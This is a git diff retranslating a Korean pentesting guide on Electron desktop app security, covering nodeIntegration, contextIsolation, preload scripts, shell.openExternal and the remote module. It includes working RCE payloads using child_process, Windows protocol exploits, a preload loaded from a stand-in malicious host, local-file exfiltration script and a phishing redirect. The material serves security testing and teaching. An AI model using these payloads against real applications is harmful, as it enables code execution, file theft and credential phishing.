Translated ['', 'src/network-services-pentesting/pentesting-web/electron

This commit is contained in:
Translator 2025-09-08 02:45:52 +00:00
parent 3c9e5d80e5
commit 3361b4f4bd

View File

@ -1,17 +1,17 @@
# Electron Desktop Apps
# Electron 데스크톱 앱
{{#include ../../../banners/hacktricks-training.md}}
## Introduction
## 소개
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합하지만, 최신 브라우저의 일부 보안 메커니즘이 부족합니다.
Electron은 로컬 백엔드(**NodeJS**)와 프런트엔드(**Chromium**)를 결합하지만, 최신 브라우저에 있는 일부 보안 메커니즘이 부족합니다.
일반적으로 전자 앱 코드는 `.asar` 애플리케이션 내부에 있으며, 코드를 얻으려면 이를 추출해야 합니다:
보통 electron 앱 코드는 `.asar` 애플리케이션 안에서 발견됩니다. 코드를 얻으려면 이를 추출해야 합니다:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 지정된 `main.js` 파일을 찾을 수 있습니다.
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 적용된 `main.js` 파일이 지정되어 있는 것을 찾을 수 있습니다.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 지정
```
Electron에는 2가지 프로세스 유형이 있습니다:
- Main Process (NodeJS에 완전 접근 가능)
- Renderer Process (보안상의 이유로 NodeJS 접근이 제한되어야 함)
- 메인 프로세스 (NodeJS에 대한 완전한 접근 권한을 가짐)
- 렌더러 프로세스 (보안상 NodeJS 접근이 제한되어야 함)
![](<../../../images/image (182).png>)
**renderer process**는 파일을 로드하는 브라우저 창이 될 것입니다:
하나의 **렌더러 프로세스**는 파일을 로드하는 브라우저 창이 됩니다:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되면 Electron 애플리케이션이 RCE** 또는 기타 취약점에 노출되는 것을 **방지**합니다.
main.js 파일 내부의 **main process**에서 **renderer process**의 설정을 **구성**할 수 있습니다. 설정이 올바르게 구성되면 일부 설정은 **Electron 애플리케이션이 RCE**나 다른 취약점을 얻는 것을 **방지**할 수 있습니다.
Electron 애플리케이션은 Node API를 통해 **장치에 접근할 수 있지만**, 이를 방지하도록 구성할 수 있습니다:
Electron 애플리케이션은 **Node apis를 통해 기기에 접근할 수** 있지만 이를 방지하도록 구성할 수 있습니다:
- **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 노드 기능에 접근할 수 있습니다.
- **`contextIsolation`** - 기본값은 `on`입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
- **`nodeIntegration`** - 기본값은 `off`입니다. 켜져 있으면 renderer process에서 node 기능에 접근할 수 있습니다.
- **`contextIsolation`** - 기본값은 `on`입니다. `off`이면 main과 renderer 프로세스가 격리되지 않습니다.
- **`preload`** - 기본값은 비어 있습니다.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
- 워커에서의 Node 통합
- **`nodeIntegrationInSubframes`** - 기본값은 꺼져 있습니다.
- **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 **iframe에 로드된 웹 페이지에서 Node.js API**를 사용할 수 있게 합니다.
- **`nodeIntegration`**이 **비활성화**되면, 프리로드는 iframe에서 로드됩니다.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 `off`입니다. NodeJS가 수행할 수 있는 동작을 제한합니다.
- Workers에서의 Node Integration
- **`nodeIntegrationInSubframes`** - 기본값은 `off`니다.
- 만약 **`nodeIntegration`**이 **enabled**되어 있으면, 이는 Electron 애플리케이션 내에서 **iframe**에 로드된 웹 페이지에서 **Node.js APIs**를 사용할 수 있게 합니다.
- 만약 **`nodeIntegration`**이 **disabled**되어 있으면, preload들이 iframe에서 로드됩니다.
구성 예시:
Example of configuration:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
일부 **RCE 페이로드**는 [여기](https://7as.es/electron/nodeIntegration_rce.txt)에서 확인할 수 있습니다:
다음은 [here](https://7as.es/electron/nodeIntegration_rce.txt)에서 가져온 일부 **RCE payloads**:
```html
Example Payloads (Windows):
<img
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### 트래픽 캡처
start-main 구성을 수정하고 다음과 같은 프록시 사용을 추가하세요:
start-main 설정을 수정하고 다음과 같은 proxy 사용을 추가하세요:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron 로컬 코드 주입
## Electron Local Code Injection
Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립트 코드를 실행할 수 있을 가능성이 있습니다. 방법은 다음을 확인하세요:
로컬에서 Electron App을 실행할 수 있다면 임의의 JavaScript 코드를 실행하도록 만들 수 있다. 방법은 다음을 확인:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +111,7 @@ Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립
## RCE: XSS + nodeIntegration
**nodeIntegration**이 **on**으로 설정되어 있으면, 웹 페이지의 자바스크립트는 `require()`를 호출하기만 하면 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
만약 **nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 JavaScript는 `require()`를 호출하기만 해도 Node.js 기능을 쉽게 사용할 수 있다. 예를 들어 Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같다:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
이 설정에서 표시된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드되므로**, **Node API에 무제한으로 접근할 수 있습니다**:
이 설정에 지정된 스크립트는 렌더러의 다른 스크립트보다 **먼저 로드되므로**, **Node APIs에 대한 무제한 접근 권한**을 갖습니다:
```javascript
new BrowserWindow{
webPreferences: {
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
따라서, 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
따라서 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,63 +148,66 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **`contextIsolation`이 켜져 있으면, 이 방법은 작동하지 않습니다.**
> [!NOTE] > **`contextIsolation`이 켜져 있으면 작동하지 않습니다**
## RCE: XSS + contextIsolation
_**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.
The _**contextIsolation**_는 웹 페이지 스크립트와 Electron의 내부 JavaScript 코드 간의 분리된 컨텍스트를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.
컨텍스트가 분리되지 않으면 공격자는:
컨텍스트가 분리되어 있지 않으면 공격자는 다음을 수행할 수 있습니다:
1. **렌더러에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 탐색)
2. **프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드**를 자신의 함수로 덮어쓰기
3. **덮어쓴 함수의 사용을 트리거**
1. renderer에서 **임의의 JavaScript를 실행**할 수 있습니다 (XSS 또는 외부 사이트로의 이동)
2. **preload나 Electron 내부 코드에서 사용되는 내장 메서드를 덮어씀**으로써 함수를 장악할 수 있습니다
3. **덮어쓴 함수**의 사용을 **트리거**할 수 있습니다
4. RCE?
내장 메서드를 덮어쓸 수 있는 두 곳이 있습니다: 프리로드 코드 또는 Electron 내부 코드에서:
내장 메서드를 덮어쓸 수 있는 장소는 2곳이 있습니다: preload 코드 또는 Electron 내부 코드에서:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### 클릭 이벤트 우회
링크를 클릭할 때 제한이 적용되는 경우, 일반 왼쪽 클릭 대신 **중간 클릭**을 통해 이를 우회할 수 있습니다.
링크를 클릭할 때 제한이 적용되어 있다면, 일반적인 왼쪽 클릭 대신 **middle click**을 사용하여 해당 제한을 우회할 수 있습니다.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
## shell.openExternal을 통한 RCE
이 예제에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요.
이 예제들에 대한 자세한 내용은 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 참고하세요.
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration``contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행(RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 기본 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지된다는 것이 확립되었습니다.
Electron 데스크톱 애플리케이션을 배포할 때 `nodeIntegration``contextIsolation` 설정을 올바르게 하는 것이 중요합니다. 이러한 설정이 적용되면 메인 프로세스에서 preload 스크립트나 Electron의 네이티브 코드로의 **client-side remote code execution (RCE)** 시도가 실질적으로 차단되는 것으로 알려져 있습니다.
사용자가 링크와 상호작용하거나 새 창을 열면 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안 및 기능에 중요합니다:
사용자가 링크를 클릭하거나 새 창을 열면 특정 이벤트 리스너들이 트리거되며, 이는 애플리케이션의 보안과 기능에 매우 중요합니다:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
리스너는 **데스크탑 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크는 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
러한 리스너들은 데스크탑 애플리케이션에 의해 **재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크를 내부에서 열지 외부 웹 브라우저에서 열지 평가합니다. 이 결정은 일반적으로 `openInternally` 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크는 외부에서 열려야 함을 의미하며 `shell.openExternal` 함수를 사용합니다.
**여기 간단한 의사코드가 있습니다:**
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS 보안 모범 사례는 `openExternal` 함수를 사용하여 신뢰할 수 없는 콘텐츠를 수용하지 말 것을 권장합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있습니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예제와 추가 설명은 [이 리소스](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예가 포함되어 있습니다.
Electron JS 보안 권장사항은 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 수락하지 않을 것을 권고합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문입니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예와 추가 설명은 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예가 포함되어 있습니다.
macOS에서`openExternal` 함수를 악용하여 `shell.openExternal('file:///System/Applications/Calculator.app')`와 같은 임의의 명령을 실행할 수 있습니다.
macOS에서 `openExternal` 함수는 `shell.openExternal('file:///System/Applications/Calculator.app')`처럼 임의의 명령을 실행하도록 악용될 수 있습니다.
**Windows 프로토콜 악용의 예는 다음과 같습니다:**
**Examples of Windows protocol exploits include:**
```html
<script>
window.open(
@ -226,15 +229,15 @@ window.open(
```
## RCE: webviewTag + 취약한 preload IPC + shell.openExternal
취약점은 **[이 보고서](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 찾을 수 있습니다.
vuln은 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 찾을 수 있습니다.
**webviewTag**는 **더 이상 사용되지 않는 기능**으로, **렌더러 프로세스**에서 **NodeJS**를 사용할 수 있게 해주며, 이는 preload 컨텍스트 내에서 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다.
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
따라서, 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용하여 **임의의 프리로드 스크립트**를 로드할 수 있습니다.
따라서 임의의 페이지를 로드하는 데 성공한 공격자는 해당 태그를 사용해 **임의의 preload script를 로드할 수 있다**.
프리로드 스크립트는 **취약한 IPC 서비스(`skype-new-window`)**를 호출하는 데 악용되었으며, 이 서비스는 RCE를 얻기 위해 **`shell.openExternal`**을 호출하고 있었습니다:
preload script는 악용되어 **vulnerable IPC service (`skype-new-window`)**를 호출했고, 해당 서비스는 **`shell.openExternal`**를 호출하여 RCE를 얻는 데 사용되었다:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -247,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## 내부 파일 읽기: XSS + contextIsolation
**`contextIsolation` 비활성화는 `<webview>` 태그의 사용을 가능하게 하여**, `<iframe>`과 유사하게 로컬 파일을 읽고 유출할 수 있습니다. 제공된 예시는 이 취약점을 이용하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있습니다**, 이는 `<iframe>`과 유사하며 로컬 파일을 읽고 exfiltrating할 수 있습니다. 예시에서는 이 취약점을 악용해 내부 파일의 내용을 읽는 방법을 보여줍니다:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
또한, **내부 파일을 읽는** 또 다른 방법이 공유되며, Electron 데스크탑 앱에서의 중요한 로컬 파일 읽기 취약점을 강조합니다. 이는 애플리케이션을 악용하고 데이터를 유출하기 위해 스크립트를 주입하는 것을 포함합니다:
또한, **내부 파일 읽기**에 대한 또 다른 방법이 공유되어 Electron 데스크톱 앱의 심각한 로컬 파일 읽기 취약점을 강조합니다. 이 방법은 애플리케이션을 악용하고 데이터를 exfiltrate하기 위해 스크립트를 주입하는 것을 포함합니다:
```html
<br /><br /><br /><br />
<h1>
@ -267,23 +270,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
## **RCE: XSS + 오래된 Chromium**
애플리케이션에서 사용되는 **chromium**이 **오래된** 경우, **알려진** **취약점**이 있을 수 있으며, 이를 **악용하여 XSS를 통해 RCE를 얻을 수** 있습니다.\
이 **writeup**에서 예제를 확인할 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
애플리케이션에서 사용하는 **chromium**이 **오래된** 버전이고 그에 대한 **알려진** **취약점**이 있다면, 이를 **악용하여 XSS를 통해 RCE를 획득하는 것이** 가능할 수 있습니다.\
예시는 이 **writeup**에서 볼 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
## **내부 URL regex 우회를 통한 XSS Phishing**
XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 훔칠 수 없는** 경우, 이를 사용하여 **피싱을 통해 자격 증명을 훔치려고** 시도할 수 있습니다.
XSS를 발견했지만 **RCE를 유발하거나 내부 파일을 훔칠 수 없다면**, 이를 사용해 **phishing을 통해 자격 증명(계정 정보)을 탈취** 시도할 수 있습니다.
우선, 새 URL을 열려고 할 때 발생하는 일을 알아야 하며, 프론트엔드의 JS 코드를 확인해야 합니다:
먼저 새로운 URL을 열려고 할 때 어떤 일이 일어나는지 알아야 하며, 프런트엔드의 JS 코드를 확인하세요:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** 호출은 **링크**가 플랫폼에 속하는 링크이기 때문에 **데스크탑 창**에서 **열릴지** 아니면 **브라우저에서 3자 리소스**로 열릴지를 결정합니다.
**`openInternally`** 호출은 해당 **link**가 플랫폼 소유의 링크로서 **desktop window**에서 **opened** 될지, **or** 제3자 리소스로서 **browser as a 3rd party resource**에서 열릴지를 결정합니다.
함수가 사용하는 **정규 표현식**이 **우회 공격에 취약한 경우**(예: **서브도메인의 점을 이스케이프하지 않는 경우**) 공격자는 XSS를 악용하여 **새 창을 열 수 있으며**, 이 창은 공격자의 인프라에 위치하여 **사용자에게 자격 증명을 요청**할 수 있습니다:
함수에서 사용된 **regex**가 **vulnerable to bypasses**한 경우(예: **not escaping the dots of subdomains**) 공격자는 **XSS**를 악용해 공격자 인프라에 위치한 **open a new window which**를 열어 사용자에게 **asking for credentials**하도록 요청할 수 있습니다:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -291,21 +294,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` 프로토콜
[문서](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols)에서 언급했듯이 **`file://`**에서 실행되는 페이지는 머신의 모든 파일에 일방적인 접근을 가지므로 **XSS 문제를 사용하여 사용자의 머신에서 임의의 파일을 로드할 수 있습니다**. **커스텀 프로토콜**을 사용하면 특정 파일 집합만 제공하도록 프로토콜을 제한할 수 있으므로 이러한 문제를 방지할 수 있습니다.
문서에 언급된 [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 것처럼, **`file://`**에서 실행되는 페이지는 시스템의 모든 파일에 일방적으로 접근할 수 있으므로, **XSS**를 통해 사용자의 기기에서 임의의 파일을 로드할 수 있습니다. **custom protocol**을 사용하면 프로토콜을 특정 파일 집합만 제공하도록 제한할 수 있어 이러한 문제를 방지할 수 있습니다.
## 원격 모듈
## Remote module
Electron 원격 모듈은 **렌더러 프로세스가 메인 프로세스 API에 접근할 수 있도록** 하여 Electron 애플리케이션 내에서의 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 상당한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 교차 사이트 스크립팅(XSS) 공격과 같은 취약점에 더 취약해집니다.
Electron Remote module는 **renderer processes to access main process APIs**를 허용하여 Electron 애플리케이션 내 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 심각한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 cross-site scripting (XSS) 같은 취약점에 더 취약해집니다.
> [!TIP]
> **원격** 모듈이 메인에서 렌더러 프로세스로 일부 API를 노출하지만, 구성 요소를 남용하는 것만으로 RCE를 얻는 것은 간단하지 않습니다. 그러나 구성 요소는 민감한 정보를 노출할 수 있습니다.
> 비록 **remote** 모듈이 main에서 renderer processes로 일부 API를 노출시키지만, 구성요소만을 악용해서 단순히 RCE를 얻는 것은 그리 간단하지 않습니다. 다만 구성요소가 민감한 정보를 노출할 수 있습니다.
> [!WARNING]
> 여전히 원격 모듈을 사용하는 많은 앱은 렌더러 프로세스에서 **NodeIntegration을 활성화해야** 하는 방식으로 구현되어 있으며, 이는 **엄청난 보안 위험**입니다.
> 아직도 remote module을 사용하는 많은 앱은 renderer process에서 **NodeIntegration이 활성화되어야 함**과 같은 방식으로 구현되어 있는데, 이는 **심각한 보안 위험**입니다.
Electron 14부터는 보안 및 성능 이유로 `remote` 모듈이 여러 단계에서 활성화될 수 있으며, **사용하지 않는 것이 권장됩니다**.
Electron 14 이후로 `remote` 모듈은 여러 단계에서 활성화될 수 있지만, 보안 및 성능상의 이유로 **사용하지 않을 것을 권장**합니다.
활성화하려면, 먼저 **메인 프로세스에서 활성화해야** 합니다:
활성화하려면 먼저 **main process에서 활성화**해야 합니다:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -316,37 +319,46 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
그런 다음, 렌더러 프로세스는 모듈에서 객체를 다음과 같이 가져올 수 있습니다:
그런 다음, renderer 프로세스는 해당 모듈에서 객체를 다음과 같이 import할 수 있습니다:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[블로그 게시물](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**은 원격 모듈의 객체 **`app`**에서 노출된 몇 가지 흥미로운 **함수**를 나타냅니다:
해당 **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**는 remote 모듈의 객체 **`app`**이 노출하는 몇 가지 흥미로운 **함수**들을 설명합니다:
- **`app.relaunch([options])`**
- 현재 인스턴스를 **종료**하고 새 인스턴스를 **시작**하여 애플리케이션을 **재시작**합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다.
- **현재 인스턴스를 종료**하고 **새 인스턴스를 실행**하여 애플리케이션을 재시작합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다.
- **`app.setAppLogsPath([path])`**
- **앱 로그**를 저장할 디렉토리를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용하여 **가져오거나** **수정**할 수 있습니다.
- **앱 로그를 저장할 디렉토리**를 정의하거나 생성합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용해 **가져오거나** **수정**할 수 있습니다.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 지정된 **프로토콜**에 대한 **기본 핸들러**로 현재 실행 파일을 **등록**합니다. 필요에 따라 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
- 지정한 **프로토콜**에 대해 현재 실행 파일을 **기본 핸들러로 등록**합니다. 필요하면 **커스텀 경로**와 **인수**를 제공할 수 있습니다.
- **`app.setUserTasks(tasks)`**
- **Jump List**의 **작업 카테고리**에 작업을 **추가**합니다(Windows에서). 각 작업은 앱이 **시작**되는 방식이나 전달되는 **인수**를 제어할 수 있습니다.
- Windows의 **Jump List****Tasks 카테고리**에 작업을 **추가**합니다. 각 작업은 앱이 어떻게 **실행되는지** 또는 어떤 **인수**가 전달되는지를 제어할 수 있습니다.
- **`app.importCertificate(options, callback)`**
- 시스템의 **인증서 저장소**에 **PKCS#12 인증서**를 **가져옵니다**(Linux 전용). 결과를 처리하기 위해 **콜백**을 사용할 수 있습니다.
- **PKCS#12 certificate**를 시스템의 **certificate store**에 **가져옵니다** (Linux에서만). 결과 처리를 위해 **callback**을 사용할 수 있습니다.
- **`app.moveToApplicationsFolder([options])`**
- 애플리케이션을 **Applications 폴더**로 **이동**합니다(macOS에서). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
- 애플리케이션을 **Applications folder**로 **이동**합니다 (macOS). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
- **`app.setJumpList(categories)`**
- **Windows**에서 **사용자 지정 Jump List**를 **설정**하거나 **제거**합니다. 사용자가 작업이 표시되는 방식을 조직하기 위해 **카테고리**를 지정할 수 있습니다.
- Windows에서 **커스텀 Jump List**를 **설정**하거나 **제거**합니다. 작업이 사용자에게 어떻게 표시될지 정리하기 위해 **categories**를 지정할 수 있습니다.
- **`app.setLoginItemSettings(settings)`**
- **로그인** 시 어떤 **실행 파일**이 **옵션**과 함께 시작되는지를 **구성**합니다(macOS 및 Windows 전용).
- 어떤 **실행 파일들**이 로그인 시 실행될지 및 그 **옵션들**을 구성합니다 (macOS 및 Windows에서만).
예:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences 모듈
Electron에서 시스템 기본 설정에 접근하고 시스템 이벤트를 발생시키기 위한 **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault**와 같은 메서드는 모두 이 모듈의 **일부**입니다.
Electron에서 시스템 환경설정에 접근하고 **시스템 이벤트를 발생시키는** **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault** 같은 메서드들은 모두 이 모듈의 **일부**입니다.
**사용 예:**
**사용 예:**
```javascript
const { systemPreferences } = require('electron');
@ -361,33 +373,33 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **네이티브 macOS 알림**을 NSDistributedNotificationCenter를 사용하여 **청취**합니다.
* **NSDistributedNotificationCenter**를 사용하여 **macOS 네이티브 알림**을 **수신**합니다.
* **macOS Catalina** 이전에는 CFNotificationCenterAddObserver에 **nil**을 전달하여 **모든** 분산 알림을 스니핑할 수 있었습니다.
* **Catalina / Big Sur** 이후, 샌드박스 앱은 **이름**으로 알림을 등록하여 여전히 **많은 이벤트**(예: **화면 잠금/해제**, **볼륨 마운트**, **네트워크 활동** 등) **구독**할 수 있습니다.
* **Catalina / Big Sur** 이후에는 sandboxed 앱이 여전히 **이름으로 등록**하여 **여러 이벤트**(예: **화면 잠금/해제**, **볼륨 마운트**, **네트워크 활동** 등) **구독**할 수 있습니다.
### **getUserDefault / setUserDefault**
* **NSUserDefaults**와 **인터페이스**하여 macOS에서 **애플리케이션** 또는 **전역** 기본 설정을 저장합니다.
* **NSUserDefaults**와 **인터페이스**하며 macOS의 **애플리케이션** 또는 **글로벌** 환경설정을 저장합니다.
* **getUserDefault**는 **최근 파일 위치**나 **사용자의 지리적 위치**와 같은 민감한 정보를 **검색**할 수 있습니다.
* **getUserDefault**는 **최근 파일 위치**나 **사용자의 지리적 위치**와 같은 민감한 정보를 **가져올** 수 있습니다.
* **setUserDefault**는 이러한 기본 설정을 **수정**할 수 있으며, 이는 앱의 **구성**에 영향을 미칠 수 있습니다.
* **setUserDefault**는 이러한 환경설정을 **수정**하여 앱의 **구성**에 영향을 줄 수 있습니다.
* **구버전 Electron**(v8.3.0 이전)에서는 **표준 모음**의 NSUserDefaults만 **접근 가능**했습니다.
* **older Electron versions**(v8.3.0 이전)에서는 NSUserDefaults의 **standard suite**만 **접근** 가능했습니다.
## Shell.showItemInFolder
이 함수는 주어진 파일을 파일 관리자에서 보여주며, 이는 **파일을 자동으로 실행할 수 있습니다**.
이 함수는 파일 관리기에서 지정된 파일을 표시하며, 이는 **파일을 자동으로 실행할 수 있습니다**.
자세한 정보는 [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)에서 확인하세요.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron 앱은 **XSS 공격**을 **방지**하기 위해 **Content Security Policy (CSP)**를 가져야 합니다. **CSP**는 브라우저에서 **신뢰할 수 없는 코드****실행****방지**하는 데 도움이 되는 **보안 표준**입니다.
Electron 앱은 **Content Security Policy (CSP)**를 적용하여 **XSS 공격을 방지**해야 합니다. **CSP**는 브라우저에서 **신뢰할 수 없는 코드의 실행을 방지**하는 데 도움이 되는 **보안 표준**입니다.
일반적으로 **`main.js`** 파일이나 **`index.html`** 템플릿의 **메타 태그** 안에 CSP를 설정합니다.
보통 **`main.js`** 파일이나 **`index.html`** 템플릿 내의 **meta 태그** 안에 CSP를 **설정**합니다.
자세한 정보는 다음에서 확인하세요:
For more information check:
{{#ref}}
@ -395,18 +407,18 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
## **도구**
- [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)은 취약한 서드파티 라이브러리를 검사니다.
